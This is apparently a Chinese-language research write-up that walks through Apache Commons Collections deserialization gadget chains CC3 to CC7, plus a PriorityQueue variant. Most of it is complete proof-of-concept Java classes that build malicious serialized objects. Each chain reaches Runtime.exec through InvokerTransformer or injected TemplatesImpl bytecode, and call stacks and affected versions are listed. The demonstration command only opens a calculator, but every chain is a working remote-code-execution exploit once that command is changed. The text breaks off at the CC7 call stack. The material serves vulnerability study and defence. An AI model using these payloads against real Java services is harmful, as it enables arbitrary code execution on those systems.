1 2 3 4 5 6 7 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
heapify 方法中queue 可控,此处size 需要大于等于2 ,否则无法进入for 循环。
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
comparator 不为null 时进入siftDownUsingComparator 函数,此处x 可控,为heapify 调用传来的queue 。
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
进入siftDownUsingComparator 函数,跟进调用comparator 类的compare 函数, 同时x 可控。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
综上所述,利用反射,设置comparator 为TransformingComparator ,同时x 可控,那么这样就可以利用InvokerTransformer 触发任意类的任意方法。
因此可以利用CC1 中的前半段链,反射控制queue 进行触发。于是得到一个CC1.5 (。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class Test { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" })}); TransformingComparator transformingComparator = new TransformingComparator (chain); PriorityQueue queue = new PriorityQueue (1 ); queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue, transformingComparator); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./evil.bin" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./evil.bin" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
CommonsCollections3
CC1+CC2=CC3 。
影响版本
JDK<8u71
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][] {classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); ChainedTransformer chain = new ChainedTransformer ( new Transformer [] { new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] {Templates.class}, new Object [] {templates}) }); HashMap innerMap = new HashMap (); LazyMap map = (LazyMap) LazyMap.decorate(innerMap, chain); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ) .getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true ); InvocationHandler mapHandler = (InvocationHandler) handlerConstructor.newInstance(Override.class, map); Map proxyMap = (Map) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class [] {Map.class}, mapHandler); Constructor AnnotationInvocationhandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ) .getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationhandlerConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) AnnotationInvocationhandlerConstructor.newInstance( Override.class, proxyMap); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC3" )); outputStream.writeObject(handler); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC3" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 exec:347 , Runtime (java.lang) <clinit>:-1 , EvilCat536701456497875 newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) <init>:64 , TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax) newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) transform:105 , InstantiateTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) invoke:77 , AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1 , $Proxy0 (com.sun.proxy) readObject:444 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:72 , CC3
前置知识
TrAXFilter
TrAXFilter 类的构造方法接收传参为Templates 类,且构造过程中会调用newTransformer 方法,而该方法会触发加载恶意字节码,导致命令执行。
1 2 3 4 5 6 7 public TrAXFilter (Templates templates) throws TransformerConfigurationException{ _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
在InstantiateTransformer 类中,transform 方法调用了getConstructor 方法来构造对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException ("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var6) { } }
分析总结
根据POC 和上面两个类的介绍,很明显的可以看出来,CC3 就是缝合了CC2 的前半部分和CC1 的后半部分,不同之处就仅在于这个调用链的设置。
利用ConstantTransformer 类将TrAXFilter.class 作为InstantiateTransformer 类的输入。
1 2 3 4 ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) });
而后在transform 方法中调用了getConstructor 方法,并将templates 恶意字节码传入来构造TrAXFilter 类,最后在TrAXFilter 类的构造方法中执行恶意代码。
CommonsCollections4
CC4 在 CC2 上做了一些细微的改动。
影响版本
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC4 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] classBytes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][] {classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" ); setFieldValue(templates, "_class" , null ); ChainedTransformer chain = new ChainedTransformer ( new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] {Templates.class}, new Object [] {templates})); TransformingComparator comparator = new TransformingComparator (chain); PriorityQueue queue = new PriorityQueue (2 , comparator); Field size = Class.forName("java.util.PriorityQueue" ).getDeclaredField("size" ); size.setAccessible(true ); size.set(queue, 2 ); Field comparatorField = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(queue, comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC4" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC4" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 exec:347 , Runtime (java.lang) <clinit>:-1 , EvilCat5042589590958 newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) <init>:64 , TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax) newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) transform:116 , InstantiateTransformer (org.apache.commons.collections4.functors) transform:32 , InstantiateTransformer (org.apache.commons.collections4.functors) transform:112 , ChainedTransformer (org.apache.commons.collections4.functors) compare:81 , TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721 , PriorityQueue (java.util) siftDown:687 , PriorityQueue (java.util) heapify:736 , PriorityQueue (java.util) readObject:795 , PriorityQueue (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:63 , CC4
分析
重复部门就不赘述了,记一下不同之处。
CC2 使用的是InvokerTransformer 类的transform 方法来反射。
1 2 3 4 5 6 7 8 9 10 11 Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer" ).getDeclaredConstructor(String.class);constructor.setAccessible(true ); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer" );TransformingComparator comparator = new TransformingComparator (transformer);PriorityQueue queue = new PriorityQueue (1 );Object[] queue_array = new Object []{templates, 1 }; Field queue_field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("queue" );queue_field.setAccessible(true ); queue_field.set(queue, queue_array);
而CC4 是使用InstantiateTransformer 类的transform 方法来构造TrAXFilter 导致恶意字节码加载。
1 2 3 4 5 6 7 ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }); TransformingComparator comparator = new TransformingComparator (chain);PriorityQueue queue = new PriorityQueue (2 , comparator);
CommonsCollections5
CC5 ,基于 CC1 的改动。
影响版本
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;public class CC5 { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer ( new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] {String.class, Class[].class}, new Object [] {"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , null }), new InvokerTransformer ( "exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }); HashMap innerMap = new HashMap (); LazyMap map = (LazyMap) LazyMap.decorate(innerMap, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry (map, 123 ); BadAttributeValueExpException exception = new BadAttributeValueExpException (1 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ) .getDeclaredField("val" ); val.setAccessible(true ); val.set(exception, tiedMapEntry); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC5" )); outputStream.writeObject(exception); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC5" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) toString:131 , TiedMapEntry (org.apache.commons.collections.keyvalue) readObject:86 , BadAttributeValueExpException (javax.management) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:42 , CC5
原理
TiedMapEntry
TiedMapEntry 类的getValue 方法调用了map.get 。
1 2 3 public Object getValue () { return this .map.get(this .key); }
而TiedMapEntry 类的构造方法中可以看见map 变量是可控的。
1 2 3 4 public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; }
而在TiedMapEntry 类的如下三个方法中,都调用了getValue 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public boolean equals (Object obj) { if (obj == this ) { return true ; } else if (!(obj instanceof Map.Entry)) { return false ; } else { Map.Entry other = (Map.Entry)obj; Object value = this .getValue(); return (this .key == null ? other.getKey() == null : this .key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue())); } } public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public String toString () { return this .getKey() + "=" + this .getValue(); }
BadAttributeValueExpException
BadAttributeValueExpException 类的readObject 方法中调用了valObj.toString 。
可以反射修改val 的值为TiedMapEntry 类,且System.getSecurityManager() 默认为null ,因此得以达成触发条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
分析
与CC1 的不同之处如下。
构造TiedMapEntry 类用于触发LazyMap 的get 方法,从而导致ChainedTransformer 链的执行。
然后构造BadAttributeValueExpException 类,并修改val 的值,来使其在反序列化时触发TiedMapEntry 的toString 方法。
1 2 3 4 5 TiedMapEntry tiedmap = new TiedMapEntry (map, 123 );BadAttributeValueExpException poc = new BadAttributeValueExpException (1 );Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" );val.setAccessible(true ); val.set(poc, tiedmap);
调用栈如下。
1 2 3 4 5 transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) toString:131 , TiedMapEntry (org.apache.commons.collections.keyvalue) readObject:86 , BadAttributeValueExpException (javax.management)
CommonsCollections6
影响版本
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC6 { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer ( new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] {String.class, Class[].class}, new Object [] {"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , null }), new InvokerTransformer ( "exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }); Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, 1 ); HashSet hashset = new HashSet (1 ); hashset.add(2 ); Field hashSetField = HashSet.class.getDeclaredField("map" ); hashSetField.setAccessible(true ); HashMap hashsetMap = (HashMap) hashSetField.get(hashset); Field hashMapTable = HashMap.class.getDeclaredField("table" ); hashMapTable.setAccessible(true ); Object[] array = (Object[]) hashMapTable.get(hashsetMap); Object node = array[0 ]; if (node == null ) { node = array[1 ]; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node, tiedMapEntry); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC6" )); outputStream.writeObject(hashset); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC6" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) transform:125 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120 , TiedMapEntry (org.apache.commons.collections.keyvalue) hash:338 , HashMap (java.util) put:611 , HashMap (java.util) readObject:334 , HashSet (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) main:55 , CC6
分析
不同之处在于,CC5 使用了TiedMapEntry 的toString 方法来触发,而CC6 使用了hashCode 方法来触发。
1 2 3 4 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
而触发hashCode 的话,CC6 选用了HashMap 类的put 方法。
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
跟进hash 方法可以看见继续调用了key.hashCode 。
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
然后接着回溯,HashSet 类的writeObject 方法会写入map 变量的所有key 合集。
1 2 3 4 5 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { for (E e : map.keySet()) s.writeObject(e); }
可以看到这个map 变量的类型正好是HashMap 类。
1 private transient HashMap<E,Object> map;
而readObject 则将其读取后进行put 操作。
1 2 3 4 5 6 7 8 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
在HashMap 类中,key 位于Node 变量中,因此需要将构造好的TiedMapEntry 链置于HashSet 类的map→table→key 中。
1 2 3 4 5 6 7 8 9 10 11 12 public class HashMap <K,V> extends AbstractMap <K,V> implements Map <K,V>, Cloneable, Serializable { static class Node <K,V> implements Map .Entry<K,V> { final int hash; final K key; V value; Node<K,V> next; } transient Node<K,V>[] table; }
而因为上述这一条链的一系列变量基本是private transient 修饰,因此CC6 的构造需要嵌套多个反射,如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 TiedMapEntry tiedmap = new TiedMapEntry (map, 123 );HashSet hashset = new HashSet (1 );hashset.add("foo" ); Field field = Class.forName("java.util.HashSet" ).getDeclaredField("map" );field.setAccessible(true ); HashMap hashset_map = (HashMap) field.get(hashset);Field table = Class.forName("java.util.HashMap" ).getDeclaredField("table" );table.setAccessible(true ); Object[] array = (Object[]) table.get(hashset_map); Object node = array[0 ];if (node == null ) { node = array[1 ]; } Field key = node.getClass().getDeclaredField("key" );key.setAccessible(true ); key.set(node, tiedmap);
和反序列化的调用链。
1 2 3 4 5 6 7 transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) getValue:73 , TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120 , TiedMapEntry (org.apache.commons.collections.keyvalue) hash:338 , HashMap (java.util) put:611 , HashMap (java.util) readObject:334 , HashSet (java.util)
CommonsCollections7
影响版本
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception { Transformer transformerChain = new ChainedTransformer (new Transformer [] {}); Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] {String.class, Class[].class}, new Object [] {"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , null }), new InvokerTransformer ( "exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }; Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("aa" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("bB" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field field = transformerChain.getClass().getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(transformerChain, transformers); lazyMap2.remove("aa" ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./CC7" )); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./CC7" )); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
调用栈
